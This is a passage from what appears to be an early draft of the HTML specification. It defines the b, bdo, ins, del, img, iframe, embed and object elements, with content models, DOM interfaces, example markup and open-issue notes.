AMPERSANDlt;b>frobonitorAMPERSANDlt;/b> and AMPERSANDlt;b>barbinatorAMPERSANDlt;/b> components are fried.AMPERSANDlt;/p>   </pre>   <p>The following would be <em>incorrect</em> usage:</p>   <pre>AMPERSANDlt;p>AMPERSANDlt;b>WARNING!AMPERSANDlt;/b> Do not frob the barbinator!AMPERSANDlt;/p>   </pre>   <p>In the previous example, the correct element to use would have been    <code><a href="#strong0">strong</a></code>, not <code><a    href="#b0">b</a></code>.</p>   <p>In the following example, objects in a text adventure are highlighted    as being special by use of the <code><a href="#b0">b</a></code> element.</p>   <pre>AMPERSANDlt;p>You enter a small room. Your AMPERSANDlt;b>swordAMPERSANDlt;/b> glowsbrighter. A AMPERSANDlt;b>ratAMPERSANDlt;/b> scurries past the corner wall.AMPERSANDlt;/p></pre>  </div>  <p>The <code><a href="#b0">b</a></code> element should be used as a last   resort when no other element is more appropriate. In particular, headers   should use the <code><a href="#h10">h1</a></code> to <code><a   href="#h60">h6</a></code> elements, stress emphasis should use the   <code><a href="#em0">em</a></code> element, importance should be denoted   with the <code><a href="#strong0">strong</a></code> element, and text   marked or highlighted should use the <code><a href="#m0">m</a></code>   element.  <p class=note>Style sheets can be used to format <code><a   href="#b0">b</a></code> elements, just like any other element can be   restyled. Thus, it is not the case that content in <code><a   href="#b0">b</a></code> elements will necessarily be boldened.  <h4 id=the-bdo><span class=secno>3.12.21. </span>The <dfn   id=bdo0><code>bdo</code></dfn> element</h4>  <p><a href="#strictly">Strictly inline-level content</a>.  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>Where <a href="#strictly">strictly inline-level content</a> is    allowed.   <dt>Content model:   <dd><a href="#strictly">Strictly inline-level content</a>.   <dt>Element-specific attributes:   <dd>None, but the <code title=attr-dir><a href="#dir0">dir</a></code>    global attribute is required on this element.   <dt>Predefined classes that apply to this element:   <dd>None.   <dt>DOM interface:   <dd>No difference from <code><a    href="#htmlelement">HTMLElement</a></code>.  </dl>  <p>The <code><a href="#bdo0">bdo</a></code> element allows authors to   override the Unicode bidi algorithm by explicitly specifying a direction   override. <a href="#refsBIDI">[BIDI]</a>  <p>Authors must specify the <code title=attr-dir><a   href="#dir0">dir</a></code> attribute on this element, with the value   <code>ltr</code> to specify a left-to-right override and with the value   <code>rtl</code> to specify a right-to-left override.  <p>If the element has the <code title=attr-dir><a   href="#dir0">dir</a></code> attribute set to the exact value   <code>ltr</code>, then for the purposes of the bidi algorithm, the user   agent must act as if there was a U+202D LEFT-TO-RIGHT OVERRIDE character   at the start of the element, and a U+202C POP DIRECTIONAL FORMATTING at   the end of the element.  <p>If the element has the <code title=attr-dir><a   href="#dir0">dir</a></code> attribute set to the exact value   <code>rtl</code>, then for the purposes of the bidi algorithm, the user   agent must act as if there was a U+202E RIGHT-TO-LEFT OVERRIDE character   at the start of the element, and a U+202C POP DIRECTIONAL FORMATTING at   the end of the element.  <p>The requirements on handling the <code><a href="#bdo0">bdo</a></code>   element for the bidi algorithm may be implemented indirectly through the   style layer. For example, an HTML+CSS user agent should implement these   requirements by implementing the CSS <code>unicode-bidi</code> property.   <a href="#refsCSS21">[CSS21]</a></p>  <!-- XXX need examples -->  <h3 id=edits><span class=secno>3.13. </span>Edits</h3>  <p>The <code><a href="#ins0">ins</a></code> and <code><a   href="#del0">del</a></code> elements represent edits to the document.  <h4 id=the-ins><span class=secno>3.13.1. </span>The <dfn   id=ins0><code>ins</code></dfn> element</h4>  <p><a href="#block-level1" title="block-level elements">Block-level   element</a>, and <a href="#strictly">strictly inline-level content</a>.  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>Where <a href="#block-level1">block-level elements</a> is expected.   <dd>Where <a href="#strictly">strictly inline-level content</a> is    allowed.   <dt>Content model:   <dd>When the element is a child of an element with only one content model    (i.e. an element that only allows <a href="#strictly">strictly    inline-level content</a>, or only allows <a    href="#inline-level1">inline-level content</a>, or only allows <a    href="#block-level1">block-level elements</a>): same content model as the    parent element.   <dd>Otherwise, when the element is a child of an element that only    contains <a href="#inter-element">inter-element whitespace</a>, <code><a    href="#ins0">ins</a></code> elements, and <code><a    href="#del0">del</a></code> elements: same content model as the parent    element, with the additional restriction that if the parent element    allows a choice in content models (e.g. block or inline) then if all the    children of all the sibling <code><a href="#ins0">ins</a></code> elements    were placed directly in the parent element, the document would still be    conforming.   <dd>Otherwise, when the element is a child of an element that is <a    href="#determining2" title="Determining if a particular element contains    block-level elements or inline-level content">being used as an    inline-level content container</a>: <a href="#inline-level1">inline-level    content</a>.   <dd>Otherwise, when the element is a child of an element that is <a    href="#determining2" title="Determining if a particular element contains    block-level elements or inline-level content">being used as a block-level    element container</a>: <a href="#block-level1">block-level elements</a>.   <dd>Otherwise: zero or more <a href="#block-level1">block-level    elements</a>, or <a href="#inline-level1">inline-level content</a> (but    not both).   <dt>Element-specific attributes:   <dd><code title=attr-mod-cite><a href="#cite4">cite</a></code>   <dd><code title=attr-mod-datetime><a href="#datetime1">datetime</a></code>   <dt>Predefined classes that apply to this element:   <dd>None.   <dt>DOM interface:   <dd>Uses the <code><a href="#htmlmodelement">HTMLModElement</a></code>    interface.  </dl>  <p>The <code><a href="#ins0">ins</a></code> element represents an addition   to the document.  <p>The <code><a href="#ins0">ins</a></code> element must be used only where   <a href="#block-level1">block-level elements</a> or <a   href="#strictly">strictly inline-level content</a> can be used.  <p>An <code><a href="#ins0">ins</a></code> element must only contain   content that would still be conformant if all <code><a   href="#ins0">ins</a></code> elements were replaced by their contents.  <div class=example>   <p>The following would be syntactically legal:</p>   <pre>AMPERSANDlt;aside> AMPERSANDlt;ins>  AMPERSANDlt;p>...AMPERSANDlt;/p> AMPERSANDlt;/ins>AMPERSANDlt;/aside></pre>   <p>As would this:</p>   <pre>AMPERSANDlt;aside> AMPERSANDlt;ins>  AMPERSANDlt;em>...AMPERSANDlt;/em> AMPERSANDlt;/ins>AMPERSANDlt;/aside></pre>   <p>However, this last example would be illegal, as <code><a    href="#em0">em</a></code> and <code><a href="#p0">p</a></code> cannot    both be used inside an <code><a href="#aside0">aside</a></code> element    at the same time:</p>   <pre>AMPERSANDlt;aside> AMPERSANDlt;ins>  AMPERSANDlt;p>...AMPERSANDlt;/p> AMPERSANDlt;/ins> AMPERSANDlt;ins>  AMPERSANDlt;em>...AMPERSANDlt;/em> AMPERSANDlt;/ins>AMPERSANDlt;/aside></pre>  </div>  <h4 id=the-del><span class=secno>3.13.2. </span>The <dfn   id=del0><code>del</code></dfn> element</h4>  <p><a href="#block-level1" title="block-level elements">Block-level   element</a>, and <a href="#strictly">strictly inline-level content</a>.  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>Where <a href="#block-level1">block-level elements</a> is expected.   <dd>Where <a href="#strictly">strictly inline-level content</a> is    allowed.   <dt>Content model:   <dd>When the element has a parent: same content model as the parent    element.   <dd>Otherwise: zero or more <a href="#block-level1">block-level    elements</a>, or <a href="#inline-level1">inline-level content</a> (but    not both).   <dt>Element-specific attributes:   <dd><code title=attr-mod-cite><a href="#cite4">cite</a></code>   <dd><code title=attr-mod-datetime><a href="#datetime1">datetime</a></code>   <dt>Predefined classes that apply to this element:   <dd>None.   <dt>DOM interface:   <dd>Uses the <code><a href="#htmlmodelement">HTMLModElement</a></code>    interface.  </dl>  <p>The <code><a href="#del0">del</a></code> element represents a removal   from the document.  <p>The <code><a href="#del0">del</a></code> element must only contain   content that would be allowed inside the parent element (regardless of   what the parent element actually contains).  <div class=example>   <p>The following would be syntactically legal:</p>   <pre>AMPERSANDlt;aside> AMPERSANDlt;del>  AMPERSANDlt;p>...AMPERSANDlt;/p> AMPERSANDlt;/del> AMPERSANDlt;ins>  AMPERSANDlt;em>...AMPERSANDlt;/em> AMPERSANDlt;/ins>AMPERSANDlt;/aside></pre>   <p>...even though the <code><a href="#p0">p</a></code> and <code><a    href="#em0">em</a></code> elements would never be allowed side by side in    the <code><a href="#aside0">aside</a></code> element. This is allowed    because the <code><a href="#del0">del</a></code> element represents    content that was removed, and it is quite possible that an edit could    cause an element to go from being an inline-level container to a    block-level container, or vice-versa.</p>  </div>  <h4 id=attributes><span class=secno>3.13.3. </span>Attributes common to   <code><a href="#ins0">ins</a></code> and <code><a   href="#del0">del</a></code> elements</h4>  <p>The <dfn id=cite4 title=attr-mod-cite><code>cite</code></dfn> attribute   may be used to specify a URI that explains the change. When that document   is long, for instance the minutes of a meeting, authors are encouraged to   include a fragment identifier pointing to the specific part of that   document that discusses the change.  <p>If the <code title=attr-mod-cite><a href="#cite4">cite</a></code>   attribute is present, it must be a URI (or IRI) that explains the change.   User agents should allow users to follow such citation links.  <p>The <dfn id=datetime1   title=attr-mod-datetime><code>datetime</code></dfn> attribute may be used   to specify the time and date of the change.  <p>If present, the <code title=attr-mod-datetime><a   href="#datetime1">datetime</a></code> attribute must be a <a   href="#valid4">valid datetime</a> value.  <p>User agents must parse the <code title=attr-mod-datetime><a   href="#datetime1">datetime</a></code> attribute according to the <a   href="#datetime-parser">parse a string as a datetime value</a> algorithm.   If that doesn't return a time, then the modification has no associated   timestamp (the value is non-conforming; it is not a <a   href="#valid4">valid datetime</a>). Otherwise, the modification is marked   as having been made at the given datetime. User agents should use the   associated timezone information to determine which timezone to present the   given datetime in.  <p>The <code><a href="#ins0">ins</a></code> and <code><a   href="#del0">del</a></code> elements must implement the <code><a   href="#htmlmodelement">HTMLModElement</a></code> interface:  <pre   class=idl>interface <dfn id=htmlmodelement>HTMLModElement</dfn> : <a href="#htmlelement">HTMLElement</a> {           attribute DOMString <a href="#cite5" title=dom-mod-cite>cite</a>;           attribute DOMString <a href="#datetime2" title=dom-mod-datetime>datetime</a>;};</pre>  <p>The <dfn id=cite5 title=dom-mod-cite><code>cite</code></dfn> and <dfn   id=datetime2 title=dom-mod-datetime><code>datetime</code></dfn> DOM   attributes must reflect the elements' content attributes of the same name.  <h3 id=embedded><span class=secno>3.14. </span>Embedded content</h3>  <h4 id=the-img><span class=secno>3.14.1. </span>The <dfn   id=img0><code>img</code></dfn> element</h4>  <p><span title="Strictly inline-level elements">Strictly   inline-level</span> <a href="#embedded0">embedded content</a>.  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>As the only <a href="#embedded0">embedded content</a> child of a    <code><a href="#figure0">figure</a></code> element.   <dd>Where <a href="#strictly">strictly inline-level content</a> is    allowed.   <dt>Content model:   <dd>Empty.   <dt>Element-specific attributes:   <dd><code title=attr-img-alt><a href="#alt">alt</a></code> (required)   <dd><code title=attr-img-src><a href="#src">src</a></code> (required)   <dd><code title=attr-hyperlink-usemap><a href="#usemap1">usemap</a></code>   <dd><code title=attr-img-ismap><a href="#ismap">ismap</a></code> (but only    if one of the ancestor elements is an <code><a href="#a0">a</a></code>    element)   <dd><code title=attr-img-height><a href="#height">height</a></code>   <dd><code title=attr-img-width><a href="#width">width</a></code>   <dt>Predefined classes that apply to this element:   <dd>None.   <dt>DOM interface:   <dd>    <pre     class=idl>interface <dfn id=htmlimageelement>HTMLImageElement</dfn> : <a href="#htmlelement">HTMLElement</a> {           attribute DOMString <a href="#alt0" title=dom-img-alt>alt</a>;           attribute DOMString <a href="#src0" title=dom-img-src>src</a>;           attribute DOMString <a href="#usemap" title=dom-img-useMap>useMap</a>;           attribute boolean <a href="#ismap0" title=dom-img-isMap>isMap</a>;           attribute long <a href="#height0" title=dom-img-height>height</a>;           attribute long <a href="#width0" title=dom-img-width>width</a>;  readonly attribute boolnean <a href="#complete" title=dom-img-complete>complete</a>;};</pre>    <p class=note>An instance of <code><a     href="#htmlimageelement">HTMLImageElement</a></code> can be obtained     using the <code title=dom-image><a href="#image0">Image</a></code>     constructor.</p>  </dl>  <p>The <code><a href="#img0">img</a></code> element represents a piece of   text with an alternate graphical representation. The text is given by the   <dfn id=alt title=attr-img-alt><code>alt</code></dfn> attribute, which   must be present, and the URI to the graphical representation of that text   is given in the <dfn id=src title=attr-img-src><code>src</code></dfn>   attribute, which must also be present.  <p>The image given by the <code title=attr-img-src><a   href="#src">src</a></code> attribute is the embedded content, and the   value of the <code title=attr-img-alt><a href="#alt">alt</a></code>   attribute is the <code><a href="#img0">img</a></code> element's <a   href="#fallback">fallback content</a>.  <p>When the <code title=attr-img-alt><a href="#alt">alt</a></code>   attribute's value is the empty string, the image supplements the   surrounding content. In such cases, the image could be omitted without   affecting the meaning of the document.  <p>If the <code title=attr-img-alt><a href="#alt">alt</a></code> attribute   is omitted, user agents must treat the element as if it had an <code   title=attr-img-alt><a href="#alt">alt</a></code> attribute set to the   empty string.  <p>The <code title=attr-img-alt><a href="#alt">alt</a></code> attribute   does not represent advisory information. User agents must not present the   contents of the <code title=attr-img-alt><a href="#alt">alt</a></code>   attribute in the same way as content of the <code title=attr-title><a   href="#title1">title</a></code> attribute.  <p class=big-issue>Guidelines on writing "alt" text here.</p>  <!-- http://www.cs.tut.fi/~jkorpela/html/alt.html -->  <p>The <code title=attr-img-src><a href="#src">src</a></code> attribute   must contain a valid URI (or IRI). If the <code title=attr-img-src><a   href="#src">src</a></code> attribute is omitted, there is no alternative   image representation.  <p>When the <code title=attr-img-src><a href="#src">src</a></code>   attribute is set, the user agent must immediately begin to download the   specified   resource<!-- XXX xref what fetching means, how to resolve URIs in  attributes (including those not in the DOM) -->,   unless the user agent cannot support images, or its support for images has   been disabled.  <p>Once the download has completed, if the image is a valid image, the user   agent must <a href="#firing4">fire a <code title=event-load>load</code>   event</a> on the <code><a href="#img0">img</a></code> element. If the   download fails or it completes but the image is not a valid or supported   image, the user agent must <a href="#firing5">fire an <code   title=event-load>error</code> event</a> on the <code><a   href="#img0">img</a></code> element.  <p>The remote server's response metadata (e.g. an HTTP 404 status code, or   <a href="#content-type1" title=Content-Type>associated Content-Type   headers</a>) must be ignored when determining whether the resource   obtained is a valid image or not.  <p class=note>This allows servers to return images with error responses.  <p>User agents must not support non-image resources with the <code><a   href="#img0">img</a></code> element.  <p>The <code title=attr-hyperlink-usemap><a   href="#usemap1">usemap</a></code> attribute, if present, can indicate that   the image has an associated <a href="#image">image map</a>.  <p>The <dfn id=ismap title=attr-img-ismap><code>ismap</code></dfn>   attribute, when used on an element that is a descendant of an <code><a   href="#a0">a</a></code> element with an <code title=attr-hyperlink-href><a   href="#href5">href</a></code> attribute, indicates by its presence that   the element is a <span>server-side image map</span>. This affects how   events are handled on the corresponding <code><a href="#a0">a</a></code>   element.  <p>The <code title=attr-img-ismap><a href="#ismap">ismap</a></code>   attribute, when present, must have the value <code title="">ismap</code>.   The attribute must not be specified on an element that does not have an   ancestor <code><a href="#a0">a</a></code> element.  <p>The <dfn id=height title=attr-img-height><code>height</code></dfn> and   <dfn id=width title=attr-img-width><code>width</code></dfn> attributes   give the preferred rendered dimensions of the image if the image is to be   shown in a visual medium.  <p class=big-issue>Should we require the dimensions to be correct? Should   we disallow percentages?  <p>The values of the <code title=attr-img-height><a   href="#height">height</a></code> and <code title=attr-img-width><a   href="#width">width</a></code> attributes must be either <a href="#valid"   title="valid non-negative integer">valid non-negative integers</a> or <a   href="#valid3" title="valid non-negative percentage">valid non-negative   percentages</a>.  <p>To parse the attributes, user agents must use the <a   href="#rules2">rules for parsing dimension values</a>. This will return   either an integer length, a percentage value, or nothing. When one of   these attributes has no value, it must be   <span>ignored</span><!-- XXX xref -->.  <p>The user agent requirements for processing the values obtained from   parsing these attributes are described <a href="#sizing" title="sizing of   embedded content">in the rendering section</a><!-- XXX xref  -->.  <p>The <code><a href="#img0">img</a></code> element must be empty.</p>  <!-- contents  should be ignored for rendering but not for semantics,  e.g. <script>, <input>, etc. -->  <p>The DOM attributes <dfn id=alt0   title=dom-img-alt><code>alt</code></dfn>, <dfn id=src0   title=dom-img-src><code>src</code></dfn>, <dfn id=usemap   title=dom-img-useMap><code>useMap</code></dfn>, and <dfn id=ismap0   title=dom-img-isMap><code>isMap</code></dfn> each must <a   href="#reflect">reflect</a> the respective content attributes of the same   name.  <p>The DOM attributes <dfn id=height0   title=dom-img-height><code>height</code></dfn> and <dfn id=width0   title=dom-img-width><code>width</code></dfn> must return the rendered   height and width of the image, in CSS pixels, if the image is being   rendered, and is being rendered to a visual medium, or 0 otherwise. <a   href="#refsCSS21">[CSS21]</a>  <p>The DOM attribute <dfn id=complete   title=dom-img-complete><code>complete</code></dfn> must return true if the   user agent has downloaded the image specified in the <code   title=attr-img-src><a href="#src">src</a></code> attribute, and it is a   valid image.  <h4 id=the-iframe><span class=secno>3.14.2. </span>The <dfn   id=iframe0><code>iframe</code></dfn> element</h4>  <p><span title="Strictly inline-level elements">Strictly   inline-level</span> <a href="#embedded0">embedded content</a>.  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>As the only <a href="#embedded0">embedded content</a> child of a    <code><a href="#figure0">figure</a></code> element.   <dd>Where <a href="#strictly">strictly inline-level content</a> is    allowed.   <dt>Content model:   <dd>Text (for details, see prose).   <dt>Element-specific attributes:   <dd><code title=attr-iframe-src><a href="#src1">src</a></code>   <dt>Predefined classes that apply to this element:   <dd>None.   <dt>DOM interface:   <dd>    <pre     class=idl>interface <dfn id=htmliframeelement>HTMLIFrameElement</dfn> : <a href="#htmlelement">HTMLElement</a> {           attribute DOMString <a href="#src2" title=dom-iframe-src>src</a>;<!--  readonly attribute Document <span title="dom-iframe-contentDocument">contentDocument</span>;  readonly attribute Window <span title="dom-iframe-contentWindow">contentWindow</span>;-->};</pre>    <p>Objects implementing the <code><a     href="#htmliframeelement">HTMLIFrameElement</a></code> interface must     also implement the <code>EmbeddingElement</code> interface defined in     the Window Object specification. <a href="#refsWINDOW">[WINDOW]</a></p>  </dl>  <p>The <code><a href="#iframe0">iframe</a></code> element introduces a new   nested <a href="#browsing">browsing context</a>.  <p>The <dfn id=src1 title=attr-iframe-src><code>src</code></dfn> attribute,   if present, must be a valid URI (or IRI) to a page that the nested <a   href="#browsing">browsing context</a> is to contain. If the user navigates   away from this page, the <code><a href="#iframe0">iframe</a></code>'s   corresponding <code>Window</code> object will reference new   <code>Document</code> objects, but the <code title=attr-iframe-src><a   href="#src1">src</a></code> attribute will not change.  <p>Whenever the <code title=attr-iframe-src><a href="#src1">src</a></code>   attribute is set, the nested <a href="#browsing">browsing context</a> must   be <span>navigated</span><!-- XXX xref --> to the given URI.  <p>The default value, which must be used if the <code   title=attr-iframe-src><a href="#src1">src</a></code> attribute is not set   when the element is created, or if the attribute is ever removed, is   <code>about:blank</code><!-- XXX xref -->.  <p>When content loads in an <code><a href="#iframe0">iframe</a></code>, the   user agent must <a href="#firing4">fire a <code   title=event-load>load</code> event</a> at the <code><a   href="#iframe0">iframe</a></code> element. When content fails to load   (e.g. due to a network error), then the user agent must <a   href="#firing5">fire an <code title=event-error>error</code> event</a>   instead.  <p class=big-issue>order of events when content is also firing its own   load/error?  <p>An <code><a href="#iframe0">iframe</a></code> element never has <a   href="#fallback">fallback content</a>, as it will always create a nested   <a href="#browsing">browsing context</a>, regardless of whether the   specified initial contents are successfully used.  <p><code><a href="#iframe0">iframe</a></code> elements may contain any   text. <code><a href="#iframe0">iframe</a></code> elements must not contain   element nodes. Descendants of <code><a href="#iframe0">iframe</a></code>   elements represent nothing. (In legacy user agents that do not support   <code><a href="#iframe0">iframe</a></code> elements, the contents would be   parsed as markup that could act as fallback content.)  <p class=big-issue>restrictions for what that text must be?  <p class=note>The <a href="#html-0">HTML parser</a> treats markup inside   <code><a href="#iframe0">iframe</a></code> elements as text.  <p>The DOM attribute <dfn id=src2   title=dom-iframe-src><code>src</code></dfn> must <a   href="#reflect">reflect</a> the content attribute of the same name.  <h4 id=the-embed><span class=secno>3.14.3. </span>The <dfn   id=embed0><code>embed</code></dfn> element</h4>  <p><span title="Strictly inline-level elements">Strictly   inline-level</span> <a href="#embedded0">embedded content</a>.  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>As the only <a href="#embedded0">embedded content</a> child of a    <code><a href="#figure0">figure</a></code> element.   <dd>Where <a href="#strictly">strictly inline-level content</a> is    allowed.   <dt>Content model:   <dd>Empty.   <dt>Element-specific attributes:   <dd><code title=attr-embed-src><a href="#src3">src</a></code> (required)   <dd><code title=attr-embed-type><a href="#type4">type</a></code>   <dd><code title=attr-embed-height>height</code>   <dd><code title=attr-embed-width>width</code>   <dd>Any other attribute that has no namespace (see prose).   <dt>Predefined classes that apply to this element:   <dd>None.   <dt>DOM interface:   <dd>    <pre     class=idl>interface <dfn id=htmlembedelement>HTMLEmbedElement</dfn> : <a href="#htmlelement">HTMLElement</a> {           attribute DOMString <a href="#src4" title=dom-embed-src>src</a>;           attribute DOMString <a href="#type5" title=dom-embed-type>type</a>;           attribute long <a href="#height1" title=dom-embed-height>height</a>;           attribute long <a href="#width1" title=dom-embed-width>width</a>;};</pre>    <p>Depending on the type of content instantiated by the <code><a     href="#embed0">embed</a></code> element, the node may also support other     interfaces.</p>  </dl>  <p>The <code><a href="#embed0">embed</a></code> element represents an   integration point for an external (typically non-HTML) application or   interactive content.  <p>The <dfn id=src3 title=attr-embed-src><code>src</code></dfn> attribute   gives the address of the resource being embedded. The attribute must be   present and contain a URI (or IRI).  <p>If the <code title=attr-embed-src><a href="#src3">src</a></code>   attribute is missing, then the <code><a href="#embed0">embed</a></code>   element must be ignored.  <p>When the <code title=attr-embed-src><a href="#src3">src</a></code>   attribute is set, user agents are expected to find an appropriate handler   for the specified resource, based on the <a href="#type-of"   title=concept-embed-type>content's type</a>, and hand that handler the   content of the resource. If the handler supports a scriptable interface,   the <code><a href="#htmlembedelement">HTMLEmbedElement</a></code> object   representing the element should expose that interfaces.  <p>The user agent should pass the names and values of all the attributes of   the <code><a href="#embed0">embed</a></code> element that have no   namespace to the handler used. Any (namespace-less) attribute may be   specified on the <code><a href="#embed0">embed</a></code> element.</p>  <!-- duplicates what's in <object> section below -->  <p class=note>This specification does not define a mechanism for   interacting with third-party handlers, as it is expected to be   user-agent-specific. Some UAs might opt to support a plugin mechanism such   as the Netscape Plugin API; others may use remote content convertors or   have built-in support for certain types. <a href="#refsNPAPI">[NPAPI]</a>  <p>The <code><a href="#embed0">embed</a></code> element has no <a   href="#fallback">fallback content</a>. If the user agent can't display the   specified resource, e.g. because the given type is not supported, then the   user agent must use a default handler for the content. (This default could   be as simple as saying "Unsupported Format", of course.)</p>  <!-- XXX we really should factor out the common parts of type  handling; at least the parsing and handling of parameters -->  <p>The <dfn id=type4 title=attr-embed-type><code>type</code></dfn>   attribute, if present, gives the MIME type of the linked resource. The   value must be a valid MIME type, optionally with parameters. <a   href="#refsRFC2046">[RFC2046]</a>  <p>The <dfn id=type-of title=concept-embed-type>type of the content</dfn>   being embedded is defined as follows:  <ol>   <li>If the element has a <code title=attr-link-type><a    href="#type">type</a></code> attribute, then the value of the <code    title=attr-link-type><a href="#type">type</a></code> attribute is the    <span>content's type</span>.   <li>Otherwise, if the specified resource has <a href="#content-type1"    title=Content-Type>explicit type metadata</a>, then that is the    <span>content's type</span>.   <li>Otherwise, the content has no type and there can be no appropriate    handler for it.  </ol>  <p class=big-issue>Should we instead say that the content-sniffing that   we're going to define for top-level browsing contexts should apply here?  <p class=big-issue>Should we require the type attribute to match the server   information?  <p class=big-issue>We should say that 404s, etc, don't affect whether the   resource is used or not. Not sure how to say it here though.  <p>Browsers should take extreme care when interacting with external content   intended for third-party renderers. When third-party software is run with   the same privileges as the user agent itself, vulnerabilities in the   third-party software become as dangerous as those in the user agent.  <p class=big-issue>height/width  <p>The DOM attributes <dfn id=src4   title=dom-embed-src><code>src</code></dfn> and <dfn id=type5   title=dom-embed-type><code>type</code></dfn> each must <a   href="#reflect">reflect</a> the respective content attributes of the same   name.  <p>The DOM attributes <dfn id=height1   title=dom-embed-height><code>height</code></dfn> and <dfn id=width1   title=dom-embed-width><code>width</code></dfn> must return the rendered   height and width of the image, in CSS pixels, if the image is being   rendered, and is being rendered to a visual medium, or 0 otherwise. <a   href="#refsCSS21">[CSS21]</a>  <h4 id=the-object><span class=secno>3.14.4. </span>The <dfn   id=object0><code>object</code></dfn> element</h4>  <p><span title="Strictly inline-level elements">Strictly   inline-level</span> <a href="#embedded0">embedded content</a>.  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>As the only <a href="#embedded0">embedded content</a> child of a    <code><a href="#figure0">figure</a></code> element.   <dd>Where <a href="#strictly">strictly inline-level content</a> is    allowed.   <dt>Content model:   <dd>When used as the child of a <code><a href="#figure0">figure</a></code>    element, or, when used as a <em><code><a    href="#figure0">figure</a></code> fallback <code><a    href="#object0">object</a></code></em>: Zero or more <code><a    href="#param0">param</a></code> elements, followed by either zero or more    <a href="#block-level1">block-level elements</a> or a single <code><a    href="#object0">object</a></code> element, which is then considered to be    a <em><code><a href="#figure0">figure</a></code> fallback <code><a    href="#object0">object</a></code></em>.   <dd>Otherwise: Zero or more <code><a href="#param0">param</a></code>    elements, followed by <a href="#inline-level1">inline-level content</a>.   <dt>Element-specific attributes:   <dd><code title=attr-object-data><a href="#data">data</a></code> (required    if <code title=attr-object-type><a href="#type6">type</a></code> is not    given)   <dd><code title=attr-object-type><a href="#type6">type</a></code>    (required if <code title=attr-object-data><a href="#data">data</a></code>    is not given)   <dd><code title=attr-hyperlink-usemap><a href="#usemap1">usemap</a></code>   <dd><code title=attr-object-height>height</code>   <dd><code title=attr-object-width>width</code>   <dt>Predefined classes that apply to this element:   <dd>None.   <dt>DOM interface:   <dd>    <pre     class=idl>interface <dfn id=htmlobjectelement>HTMLObjectElement</dfn> : <a href="#htmlelement">HTMLElement</a> {           attribute DOMString <a href="#data0" title=dom-object-data>data</a>;           attribute DOMString <a href="#type7" title=dom-object-type>type</a>;           attribute DOMString <a href="#usemap0" title=dom-object-useMap>useMap</a>;           attribute long <a href="#height2" title=dom-object-height>height</a>;           attribute long <a href="#width2" title=dom-object-width>width</a>;<!--  readonly attribute Document <span title="dom-object-contentDocument">contentDocument</span>;  readonly attribute Window <span title="dom-object-contentWindow">contentWindow</span>;-->};</pre>    <p>Objects implementing the <code><a     href="#htmlobjectelement">HTMLObjectElement</a></code> interface must     also implement the <code>EmbeddingElement</code> interface defined in     the Window Object specification. <a href="#refsWINDOW">[WINDOW]</a></p>    <p>Depending on the type of content instantiated by the <code><a     href="#object0">object</a></code> element, the node may also support     other interfaces.</p>  </dl>  <p class=big-issue>Shouldn't allow inline-level content to be the content   model when the parent's content model is strictly inline only.  <p>The <code><a href="#object0">object</a></code> element can represent an   external resource, which, depending on the type of the resource, will   either be treated as an image, as a nested <a href="#browsing">browsing   context</a>, or as an external resource to be processed by a third-party   software package.  <p>The <dfn id=data title=attr-object-data><code>data</code></dfn>   attribute, if present, specifies the URI of the resource. If present, the   attribute must be a valid URI.  <p>The <dfn id=type6 title=attr-object-type><code>type</code></dfn>   attribute, if present, specifies the type of the resource. If present, the   attribute must be a valid MIME type, optionally with parameters. <a   href="#refsRFC2046">[RFC2046]</a>  <p>One or both of the <code title=attr-object-data><a   href="#data">data</a></code> and <code title=attr-object-type><a   href="#type6">type</a></code> attributes must be present.  <p>Whenever the <code title=attr-object-data><a   href="#data">data</a></code> attribute changes, or, if the <code   title=attr-object-data><a href="#data">data</a></code> attribute is not   present, whenever the <code title=attr-object-type><a   href="#type6">type</a></code> attribute changes, the user agent must   follow the following steps to determine what the <code><a   href="#object0">object</a></code> element represents:  <ol>   <li>    <p>If the <code title=attr-object-data><a href="#data">data</a></code>     attribute is present, then:</p>    <ol>     <li>      <p>Begin a load for the resource.     </li>     <!-- XXX define     that -->     <!-- XXX xref -->     <li>      <p>If the resource is not yet available (e.g. because the resource was       not available in the cache, so that loading the resource required       making a request over the network), then jump to step 3 in the overall       set of steps (fallback). When the resource becomes available, or if       the load fails, restart this algorithm from this step. Resources can       load incrementally; user agents may opt to consider a resource       "available" whenever enough data has been obtained to begin processing       the resource.     <li>      <p>If the load failed (e.g. DNS error), <a href="#firing5">fire an       <code title=event-error>error</code> event</a>, then jump to step 3 in       the overall set of steps (fallback).     <li>      <p>Determine the <em>resource type</em>, as follows:</p>      <dl class=switch>       <dt>If the resource has <a href="#content-type1"        title=Content-Type>associated Content-Type metadata</a>       <dd>The type is the type specified in <a href="#content-type1"        title=Content-Type>the resource's Content-Type metadata</a>.       <dt>Otherwise, if the <code title=attr-object-type><a        href="#type6">type</a></code> attribute is present       <dd>The type is the type specified in the <code        title=attr-object-type><a href="#type6">type</a></code> attribute.       <dt>Otherwise, there is no explicit type information       <dd class=big-issue>Sniffing. Default.      </dl>     <li>      <p>Handle the content as given by the first of the following cases that       matches:</p>      <dl class=switch>       <dt>If the resource requires a special handler (e.g. a plugin)       <dd>        <p>The user agent should find an appropriate handler for the         specified resource, based on the <em>resource type</em> found in the         previous step, and pass the content of the resource to that handler.         If the handler supports a scriptable interface, the <code><a         href="#htmlobjectelement">HTMLObjectElement</a></code> object         representing the element should expose that interface. The handler         is not a nested <a href="#browsing">browsing context</a>. If no         appropriate handler can be found, then jump to step 3 in the overall         set of steps (fallback).</p>        <p>The user agent should pass the names and values of all the <span         title=concept-param-parameter>parameters</span> given by <code><a         href="#param0">param</a></code> elements that are children of the         <code><a href="#object0">object</a></code> element to the handler         used.</p>        <!-- duplicates what's in <embed> section above -->        <p class=note>This specification does not define a mechanism for         interacting with third-party handlers, as it is expected to be         user-agent-specific. Some UAs might opt to support a plugin         mechanism such as the Netscape Plugin API; others may use remote         content convertors or have built-in support for certain types. <a         href="#refsNPAPI">[NPAPI]</a></p>       <dt>If the type of the resource is an <span>XML MIME        type</span><!-- XXX xref -->       <dt>If the type of the resource is HTML       <dt>If the type of the resource does not start with        "<code>image/</code>"       <dd>        <p>The <code><a href="#object0">object</a></code> element must be         associated with a nested <a href="#browsing">browsing context</a>,         if it does not already have one. The element's nested <a         href="#browsing">browsing context</a> must then be         <span>navigated</span> to the given resource. 